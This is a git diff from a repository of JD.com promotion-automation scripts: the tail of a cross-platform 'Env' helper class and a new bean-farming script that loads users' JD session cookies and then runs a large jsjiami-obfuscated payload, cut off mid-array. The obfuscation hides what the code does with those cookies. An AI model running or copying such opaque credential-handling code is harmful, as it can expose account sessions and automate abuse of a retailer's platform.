this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_beauty_twelfth.js b/backUp/jd_beauty_twelfth.js new file mode 100644 index 0000000..45cce6a --- /dev/null +++ b/backUp/jd_beauty_twelfth.js @@ -0,0 +1,24 @@ +/* +* 活动:美妆馆 --》京东美妆12周年庆 +* 活动时间:9.29 - 10.13 +* 说明: +* 1、脚本加密,低概率抽到豆子,纯看脸,愿意跑的跑 +* 2、没有内置助力,没有开卡,有加购 +* * */ +const $ = new Env('美妆周年庆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +var _0xodl='jsjiami.com.v6',_0x3893=[_0xodl,'FMKGBg==','b3HDn8KhAsK+w4o6wog=','w6o/wq3DqQ==','McKbP8Km6K6J5rOK5aWV6LeP77+T6K+q5qKk5p+X57yP6Lad6Yaf6K+4','w7IPw78=','5Yu55aW65Y6o5aaG6LWf77yL5Yyx6ICq5puN6bma5Y+w','w7fCkcO3w5JN','cGrDisKNHsKr','w7XCn8KewrVB','EsOyV3Ej','UTQEwpnChQ==','DcKcFmhg','wqnCun0Swpo=','w48YwpB2aBzDrMKCwp7CpTrCtmDCqMKYaUo+BcOQOMKeEjnDsA==','AcK+w51MccOYDcOkGMK4dMKwGhtDwpHDkMK3w5olw77CmRZBCAc9w6HDlMKwwoEjw6k=','U8K/DsKdG8O6RMKfwrF5AVQ3HDdJ','wpQjwqxsUw==','ZMKlwqNBwonCh8Odw7TChsKGVHzDrVApBMKD','SMKoUcOFw7oOwolywofDuMKmDADDqsOICsK0SVnDjsKXw6rCgMKIwrzDqlBmwpPClMKSw6UW','Ih4EwoB4C8OmcDxTHcKyT8K6w4jCgsOeFnknV8O5wpkdw5AQHsKyH8KJK8OveQ==','wplewqtXWCfCgsOuwrDCkwLDjFo=','w6bDpA3DoA==','wpRqI1fClsONcsOGwqQQARXCusOIN8KlScOnKcKiFsKbwq3DmFANfMOGR8Kvwr/CosKzwo7Dp8Kvwp8VwrFEwrd7FMKtwqJlaMOXLhbDgWVUe8OOwqbCsSrDiALCoX8Lw50BwqTDjUXCh8K2JydbwqE5dRQBH8KXKWPDrsKRwq/DtMO2SMKxw5DCqcOeUsKVw6VXwqtSbsO1woQEUMOhwrjDh096esO0A8OGwpR6VRUXwo8rTTJPwp3CgcOxGw/Cj2FydMOcFmFbMcKtwr9STsK4C3YuSw3Cu8Ovw6gww78iw6DDnMOld8OnwpY+WQ==','w7JoSMKVw7PDtcKHJXPCmw==','w4TDlCzDkTMAw43DusKbwr5Pwp7ChVNyM8Ktw51bwq9WLnlufyHDnnphVzJ6w59IU2ZGwrNKwqnDnlrDuxHDnlbCikxkeMOiesObNcKBw7x7wq3CosO8w6A=','Ih4EwoB4C8OmcDxTHcKyT8K6w4jCgsOeFnknV8O5wpkdw5AQHsKyH8KJK8OveUI=','OsKowq/Diwg=','ZcOyw5AAwpw=','YGHDlzwO','DR3CkMOjw5Y=','XTlswoQh','w48jaBMi','wrZgwoDDmgc=','dXbDo8KnCMK8','TMK2Vw==','Whd8dsKEw4PDhMO6w5nChn3DvmI=','w7sOw64=','w701wqFRTjDCj8OwwrbCkQnDll0=','d8OPwqItw7w=','CcKEJEVI','f8Kdwp7CqMOXwpDCi0cYPw==','wogQw44hwq4ZSg==','wqfDiMKswr1K','wowNw7R3AkVx','EhzCuMOFw64=','U8K8P8KJHA==','wpXDhMK8wqDDkA==','wo1jL0DCkQ==','wqc4w7dbUsKAwoASKw==','wrnChMKSw6bCpg==','HUHCgcKPbg==','HH5HwojCuw==','ScOqwpo+w5c=','U8Kuwo7DhCs=','esOtwqHDrFY=','LMKGw59idw==','N8K9w4VwXg==','HMKwLcKuwo8=','C3XCh8KJfg==','wobDisKmwqHDrw==','wonDm8KRwr/Dsw==','a8KqN8KeLQ==','ecOTwrzDuXcb','w5PDtcKRwrHDgCARwpDClA==','FcKLSg==','wpBvL0I=','wqQfwpDDheivquaxqeWmq+i0nO++iuitluaij+adlOe+tui3qOmFtOivmw==','DXB/wrTCmA==','w5sewplBbwc=','fsKMwojCrMOJ','w78Dw7vCqsOuKU7Dk8KpCcO4wpk=','CcKFX11F','wp3Cp0Y7wr8=','wpDCkVgJwpo=','FMKhw4ZFdg==','cSNKDcK6wqjDvMOBwrbColfDnQ==','wrxCVg==','Y8KcFcOAw4MFwodowovCuMO5FU/Ds8KGTcOjTFbDscKNw6jDg8KYw7XCplxHwqPDm8OHwrRcwp3DmcORHTpFwqTChMOKZ8OeG8Ktw5o=','AsKBTMKxwrpdw7FZZl7DksKNwqZyQMK4wrJMw7Anwo3DhGXDrsK5XsK6VcO9GlDClW/Dl3HDrcOcwqs5wqHCuSnDnSTDscOrJGPCv8OXw77CshXCksOnc3PDvEQ8ScKbw7Z0WiDCqsO3fMKCSA==','AcK+w51MccOYDcOkGMK4dMKwCEVbwojCi8K6w4gvw7TCgBREFgoxw6HCm8O/w49pwqc=','ahF0wqMI','XcOYw4sOwpw=','S8Kdwr7CisOp','LzXChMOfw74=','wrQwRWws','wrwQw5BdAQ==','wqzDvsO4w78o','EcK8NcK8wr8=','w5zDggDDtSI=','wrLDrcKRw7TCjQ==','w516wo7DpQ==','E8OWwqluIg==','w702Sxwa','w6F+ZMK0wp0=','B8O4bw==','wqzDv8K4wpE=','EXflpZbot7nDi3bljJXlm6LCgBI=','N8OIwrs=','ZsOIwqnDlWsORcKNKw==','wr/Cp1E=','woAqw6xq','OMKOwovDteiukeawh+Wnnui3n+++rOisjuahvOacmee9kei3o+mFuOiuvA==','OgsCwoNu','A0PCrMKbWF4=','wqLDgsKIw5nCmQ==','w6TDlMKKwqzDtA==','DMKGCsKcwrU=','VUjDqMKFCw==','wrnDn8KJwpJH','w77CisKtwoF1','ccK6wr5Sw4rDg8Oc','f8O0wogbw4Y=','wrnDrhQqw54=','w7xRwpLDm8Oe','F8KEw5pTfQ==','wo4Fw4opwqYOSk/Dh8K6wpUpUArCssOHUcOgb37Dm8ObwozDvg/CrMKxw6TCgMKxw7/DqQ==','OsOnQHEhwovDrcOoD8KZHcOrLcOqSXIHcTI3Awpuwp3Do8Khw5kZRk4mw7/Dqg==','PMOtWW1kw4jDqMO5AMKaEsKwMMOrHmcC','BEnCrsKuB01LasKFw7s=','woPDl8KMw7DCuRTCr31ewpBpAcO0M8KRXMK4wozCgMK4BsKBwo/Cr8OkworDtsKKw49Lwqh2csKET1vCmMKfw44APVJrwpfDv8KuUXBR','NsOgwo7DryMXwrDCu8OnwrzDssKoUw==','wq7DtcOrw7Y=','EsKNAMKJwqsIw6skRGHCh8KZwqB6QsKsw7kWw6Zcw6nDkSfDqMOnFcO3DsKyElPClxPDkSTDlMKewoUHw7bCpHXDgj/Dp8O3JCHCt8Kqw5zCjUDChsOhYx7Cmz08RcKlwrNOZ37Du8KFH8KMT8KIcFnCv8OmYcOZGcOMw6Rtwpx6w6fDojVAasO1HRYVw7DDk8KuFcK6PsOPAcKOw7/Cn8KcwpU6P2UnVAnDnsO3w4oSZCrDjMOew5Y5fsOxScKzJcKDKEJEw6zCocKTN1DCg1bDscO4YcKUwq1AwpQyw502wr3DkMO4wplYwpEbNcKbw7DCuH4=','bMKNwqrCk8ON','w6Q0w6jCvcOo','DSrCjcOew64=','w4sjwoA6JQ==','w4zCssKbwqJs','dMKgPsKNBw==','CT0fwrpu','G35rwqLCmw==','EMOfwqRfDQ==','wofDs8K8w5DCnw==','w5oQdj8U','f8K6wprCr8OK','w7wJwoZyRA==','acKMwq3DmhU=','YMO+wqnDvU4=','fcOIwq/DjHZTA8OEJcKBwq7DqsKIX8K8WHAlGCfCtV/Cu1UEYw7CusK4DkY4GSvCu0xOHcKnbcKXw43DmGNNwoMfw7h6XyhJwq81','w7p7asKSwrg=','wrkPw74Qwqk=','TcKxWMOQw6U=','wrsdw69Waw==','wqV6woLDtTM=','I8KVfUdQ','Q8K9wpXClcOswrQ=','QRBW','wojDmsKKwqHDlsOCw7xIbk5uZsKx','wqjChcKP','EcOjwoN8BzTCtsO7wozDnzVhcQ==','w59OXMKMwps=','dD5becKv','RQBmccKIw4fDkcOgw5bClQ==','wokuw7VrXMKfwoQ=','L8KBfW9W','TcKrwq/CnsOpwqXCrQ==','azI3wp3CnA==','SRhFwo0h','w64Pw6vCuw==','ZiRKQsKS','wrsvw7dEJQ==','CMKKJ2ZG','wq8STGAs','RmrDh8KFIw==','wp/DjjcOw4PDk8Oow5hf','w7dsQMKA','wqHChMKe','wo16ME7CiMKRcsOwwrU=','UMO8w4U=','wr3CqVsO','bMKgUsOvw6E=','DBMqwopf','w5kTw4vCi8OS','6I605YyJ5rex5YqZ6K2D5oGi5aaI6La0','S8OmwqIcw7Y=','w6htwo7Dl8ON','bMOuwoosw54=','w4XDhMKswpbDlw==','w5nDpcKkwovDug==','wpcvw4ZcaQ==','wrtqwrTDlxbCmlw=','I8KEBg==','5Lq95LuG5p2i5YmO5ZiW6L2c5Zq656qQ5pav5o2z','CmnChMKQUw==','w7vDqRnDqQ4=','wrEZdm4o','UMO8w4UEwosH','FUl+woDCrQ==','DEBbwozCsw==','wqXDrsKNw7DCuQ==','DMKSwrHDhSc=','QsOxwooWw5s=','N8O4V1g6wpo=','dCVITMK4','44K95o6C56S444Gr6K6m5Yau6I2b5Yyc5Liy5Lmv6Lah5Y2A5LuNw54/IBZ2wonCo+ebjuaOg+S8meeUuMKlFcOxUHlZ55ih5Lmq5Lu7566L5Ymf6I+f5Y26','woTDjjEXw57CjsKuwpFEC8K6BEZ8RhDCmsKdAnHCrm4zw4Y7QmddYcOzw4nCmj7CqkVgaB1YwpUDd3U=','wrHDpMKlwoDDhg==','wpDDmsOcw6YW','wr0mw5JWDA==','RsKvwpJ6w50=','RMKrRg==','AU3CpsK7','U8KPwq5Qw5Q=','wrTCpsKow7vCpQ==','wp3DvMOvw48X','wqbDjMK/woXDoQ==','worDnsOJ','EX5q','5rSf5YuW5beS57id5pyT','w7zDpzvDoiM=','w6vClcOrw4Zcwo0=','cwJuRsKT','asOzwoQOw7s=','OTMawpFY','w6M4wprDvmU=','GsKwL8K9wq4=','UDYTwr/Cgg==','BsO2fMO2LA==','CcK9w6FPf8OSAg==','wrrDscK/wq3DsQ==','w5rCh8Kv','w7nCrMOLw7o5w4nlvY/lprbjgaLku6TkupTot6/ljYI=','wp1bw5QuN38=','fMOPwpfDk2IAQg==','W8OPwpPDkGI=','w54awonDjW8=','cDxFwr8A','wpd9DkjCgcKfdQ==','woHDiSI=','w7gMEUQ=','44K95o6C56S444GrMsKJwoPCocO3FuW1teWmhuaWhQ==','5LuH5LqL6LSu5Y2i','w4forJzphLTmlLPnmrPlvJvoj7Plj5A/MsKKES8NeELCnsK0c1xwVAFQRcOCQC0JbcOzB8OufyTDoxR5AcOtKsOhw41LAMOycBk1U1HDtA==','w5RYwqzDqcOS','TQ1uwqEow6Y=','C8KMD8KdwpVcw7YdSnc=','LMKEDkJrTeW1v+Wmq+aXnMKSETc=','5LqR5LmL6LWB5Yyr','UeitkOmEkeaWmeeYr+W8pOiNk+WNssKuw7cfREzCpg==','w5nDoMKMwrPDlA==','w5vDgTHDlQ==','woIkw6ZKT8KZ','wofDkMOKw5QS','dMKgwrw=','Sh9Nwqs=','IADlprHotY5jw6Lljq7lmIvDiMKp','c8OVwrXDnWkFVQ==','w5LCh8KmwpI=','44Gp5oy056SX44C/6K+X5YaU6I645Y+n5LmY5LiF6LeX5Y2G5Lqfw6xRwoBKW8Osw5DnmL7mjJDkvqfnlL/Ck2PDscKPJsOQ55ic5LiB5Lmw56+Q5YiJ6Iyi5Y+o','w57CnMK8wodqQ2QtwobDrjTDpVokwqrDnWDCj3rCpMOFwojDksK0w6EsE2PCgChfw4bDocKewphFOmI7d8KGYmw=','worDkcKdw6HDtx7Dn2J2w5FFH8K4NcOQW8Kuw5zCisOiPcKLw5fDtMO/wp/DvsOAwohWw6A8HcOSFR3CncKHwoUDLRI2wrPCrMO6fmJGw5BnwqYldw1fw4HDq8KdHcOiwowdw6wPKG9hM8Oyw61pwr/Cu8KnwqFYw6jDqjwSGsK2w7kQwptYwrsawqHDrT9xw5rDqWHDosK+ehdnO8KBw7zClFnDqsKfC8OfRH3Dh3rCjHl4wqLDkcOWF1sEw4Unw7cKFMOjFsOLG1l/w48HwpdLwqYrwrwDJcOTTDtqV8KyYcKYOSbDtlURw6bDqcOpaEXDusOVV3jChMOpwppXw6Z4w6cld0pQw5Z9w7bCnsKmACtFwqDDiGYlw4PDtxI7w7V3JEDDtcOYYHrDkcK7wq3DncKYEcKmwrXDucKVwq/ClTrDix4LL3FSw4QtwoUBw6kHAcKuwp7DqD7DlioJwo00EsORBsOPw7M/w5LDosKIw7HDhW9cw57DhMOXw7fCpMKWCMOAwolawrc6w50Yw4fCoH4Mw7zCisK8PhfDpz7DugZWwrwbdsKkw5nCqMKHCVV3EMKpw4UMfAzCt19IOWE6wqVXw4bDusKmwrU5DsKuUMOFDwYjwrV6wr1yw48fUMKScGrDgsKnCsOSw6hIe0vCozoAdRcyw5HDmFbDnmRqwpnCo8KtWcOudsK7w6NvHsKAwpgKw73DkwdsDsOQw7fCjMOaYMObw5LDksKkMV5PL1EoFWvClcK5B0XChybCkyV2T8KIwr0hc0sABzU1IMODw4ciUWtCCcK7wp3DlT3CocKvw5vDmXDCgznCm8OQLcKAIsOPe8OnDcOXFgQ/KcOuw4kPScOoIcKVwrvDjcK3w67DmUvCssKXwpI0NSQrwozCjWcQKhlVwoJIwrQCwqowc8Osw6k4fDzDlkTChsOmwofDj3gtdcOpJGPDozLDpMOmSsObPMKsdsOKw6XDl8OoQzE7ORnCgmvDqcKSwpF5fsObY8KPw5wZwrdcIAXCunHDqxxLRXQ/wrjCscK6W8KGPGhmw4bDr8O+wr5nw5fCkcKjw6DDrsOEw7nDs8K4dlTChnXCm8KaY1rDpcOEZMK+L8KvHMOGMcOzfgMBwobDi2bDncO8woXCqgnDi8OgwpnCgxLCjn3CsMKNd3PCpsK5czbDpnIvLMOPB8KMwpPClDnCq0TCtTHDg8KYa0zCkETCrQ==','w4Q4BkfDlQ==','w6oHwofDlWg=','OsOXwrUGNQTCkMOMwqLDqhlVQMKnw7bDv1XCkMK4TF0sw69N','wqLDssKWw6rChQ==','wph8wp/DgSY=','TcKrwq/CpcO9wqLCqXAJAsK2FMKD','e2DDmcKXBMK2w445wq5UAVDCjA==','GsKiEGhu','UsOpwqMKw6EuXj/CixIgw7wl','w4DDjyzDlSVIwps=','w5fChMKkwqBwCiNUwoXDpyDDrg==','ZDxIRsK5','esOww4Agwpg=','CMK6w5lQa8KBQ8K/EMKnc8KxHUZGwpvDksO0w4EtwqnCjlVYAQggwqHCmcOzw59lwqxFw54wcAoqZMO9w4Y4WHnDscKHwooKWllHbyZSw6BawpMY','wrbDq8K5wrHDgA==','w4MewpVhcw==','NcOMwphwNg==','wo/DvMOMw7gI','w7MQwrVSbw==','w6FQwrbDmsOo','w4J6woTDg8O6','H3RswrLCiUxkS08awow=','w4I9wqLDrXw=','w6www4rCnMOY','wpDDnsOVw5IUOg==','AcKLwoDDmQE=','wpDCm8KnwoJrGi4/w5TCug==','d8KwwqFUw4s=','wpcYR1gXwq/DlcOlwoN4PA==','wocHw6c=','5YqZ5aaV5Y+W5oqc5YqC','KDnCscOxw5U=','woYRw7F9cw==','asOEw4MZwo8=','bGTDn8K7CQ==','woMaw50=','5YiR5aer5Y6W5aWa6LWn77+O5Y+e6ICW5pud6bmY5Y2n','woPDoCAtw74=','w5g/woxXew==','BcKHwr7Duio=','woLCu1E+wq0=','OsOGb8OPHA==','TiMVwrXChDHDo2TDgw==','XRpkwrYL','woYJVEQNwrHDqMOswpE=','JgUX','6I6i5Y2q5reg5YiU6K+j5oKs5aSd6LeO','w78Mw7TCmMO0KXnDscKnDsOowpI=','wrjCmMKcw7E=','wrXDt8KmwpzDmsOxw497Wmw=','wpDDp8KPwrR/woYBCB8qw63Cuw==','UQ1Fwrw=','SsK5T8ONw78IwrdowpvDusKqRgo=','SBFUwropw7HDpULDhMKBwohYPA==','MyHCkMOa','DMKhw5lUfcOJFcOPH8Kid8O9FRo=','cGrDig==','6I+s5Y2x5ren5YqB6K6y5oK05ou05Yi7w6Hlh6nmnbnorpfmhJrlg7/vvrM=','w5YdwpJTdAbCtcO5wpbCujnDvQ==','w67ltazora3mh4vCvw==','w6TCkcOrw4VEwoAuVVvCtCTCvQ==','5q2O77yg5Yyk5omj5aW85qyN5pWX77yZ','w5sewopweAfCpMOhwoLCuy7DvXs=','w6EMFVU=','w5p+worDosOM','XcKvwrLCjg==','wo0Ew698EQ==','w5sYw7/Ci8Oy','wpLDqsKNwod6wpAnKxMkw73CrA==','w7oCGw==','5Yen5p2k6K+E5oSe5YKb772j','w6ctwo8sAE/CpMKZw7zCvMKCw6E=','EOWNvOS5h+ivueaHhu+9rw==','wqwhw4ASwog=','wpFNwoLDrzY=','FsKFwoXDmANeT8KnDMOHaMKz','w5XDhBzDmQc=','ZCtaTcKz','wpDDicOHw5ke','V8Oowrc=','Lui+peihrOS7juatreisu+aGow==','P8KING9H','w63CmsO9w4B9','w4PDoMKNwrzDgiI2woPCgMK3eMOi','OMOGwrJNOBTCu8OKwrjDtRJKVw==','FcKLWVpFwq52f8KBdMKTw5TDrQ==','fDxXV8Kyw7TDr8O6w7bCtFXDklMO','w4HCicKhwoM=','UcOgw4U=','woXDgsKVw6U=','wosPw45gTA==','ecOYw7gTwrY=','AxnCr8O6w7g=','w7XCvMKywqBe','wpkSUlkGwqTDuMOEwp1wMGLDmQ==','DMKhw4o=','w4jovYXoopnku7TmrqTmiLrlp7g=','w5DDosK2wp7Dqw==','w4PDhcKFwrbDmQ==','w4zDrsKE','6Iyp5b+3776C','woUPT1cG','E3BgwqI=','wr52wp8=','wqDCvEQCwpDChyPCgMKW','w5kzcREOwpXCmMKrw6oW','w6oBw6vCpMOCM3/DgcKp','aCpBUMKw','GcKyw6rChsK8wq3DvH5k','wp3Ds8KNwrw=','w5whw43CtsOp','w5phwqrDo8Oo','woMqw5FlZA==','woLClMO6wospBXh+w5U=','wqIRT13ClwVkaMOn','w6DDpyHDsjQ=','EAjCo8Ofw7M=','w4Inwq49BA==','aUjDl8KGCg==','w7I3wqXDu0JYw7JWw7Y=','wqFxwpfDiAI=','WyEIwpXCnA==','wrlKKGzCkg==','eWHDisKOOQ==','wptqJWHCsw==','Q8Oiwqc4w7Q=','w4XDjjzDhDh1woQ=','w5jDjwvDlTJTwozCsg==','w7t/wrXDgcOa','w6p9QcKMwqo=','w6vCn8Oi','5omN6KKC5ouL5Yml776E6I2m5b2b6K665oWp5YGX77+C','woLDjcKb','w6w/F1DDqw==','77yA546Q5Yex6K+T5oW95YO+77yr','w65kXsKNwoHDosKKIHDCmw==','w5dHwpbDoMOz','KMOPwrNZCwfCjcOBwrrCpwNHSsKzw7bDol7Dsg==','RRJMwpklw7DDtFrDkMKAwp9Y','w7EowpATNkrCrcKjw6jCtQ==','5Lq05YmK77275rWm6KeK5bq/6ZG3776W','e8OdwrbDmQ==','YsOdwrLDiA==','w4k9bB8=','wprDkyAQw7LDmcOkw5tSB8K1DRh9CRnCmw==','fTZGV8K+w6jDscOVw7TCoFvDlUU=','wokDw5UMwrk=','fcK/AcKICsOg','BcK5CUJy','wqHDpsK8wrLDhg==','C8KjaUZx','dEXDtzwl','wpwTQkgbwpnDpw==','wpjDlRYTw5/DncOvw5k=','wqpowrnDsj8=','OMOTQMO6EQ==','CMOjwpRGAQ==','a8KdwrPCtcOk','wp07w61mSQ==','XsK5SMOd','fWnDgcKfBcKqw4sKwpBRGlM=','OMKCEkFdXsOsw7bDocOX','PcKCYGhN','eMOZwr7DiGwHS8KbPsKRw6PDpcKzB8K2Umo1ADHCtVnDvVINdQ3DtMKKHnwjBFw=','w5sewpk=','5oiI6KGg5oub5YmB77ym6I6b5b6w6K675oeM5YKi77+A','MsOJwr8=','wqhLwpPDiT0=','772K54+i5YaE6KyQ5oaI5YCr772k','w4HCgcK7wp9GDypuwpHDrg==','w5cAaQsd','w6gxwqc=','5LqQ5Yi277yS5rea6KaM5L2K5Z6K772+','wpscS0g=','w7ErwqlucA==','WgAqwrbCsA==','w7IPw7/CisOvKA==','w5s7Zw0OwpbCnsKlw7oGw6TDgw==','woPDtMKOwrRwwpY7Dg==','w4rDljfDqDY=','wqHCjsKXw6TCvCY=','w4lHwq/DqcOx','woIGw6R2G352','wpsaw6kxwr0ERVw=','woRXwpvDoCQ=','TicLwrXCng==','wqzCh8KVw5TCoT0sUFQ2wosA','dMK2wrlZw7rDkcOYw73ClcKP','woIkw6Y=','5oio6KKn5omx5Yq277yO6I6f5bya6Kyi5oar5YKO77ym','EcKHAg==','B0NmwrbCsQ==','77+e546p5YaJ6KyA5oWO5YOP77yo','TMOuwqMHw4wsYDDCnxk=','wpUnw5E0woM=','TWLDmgMO','CMK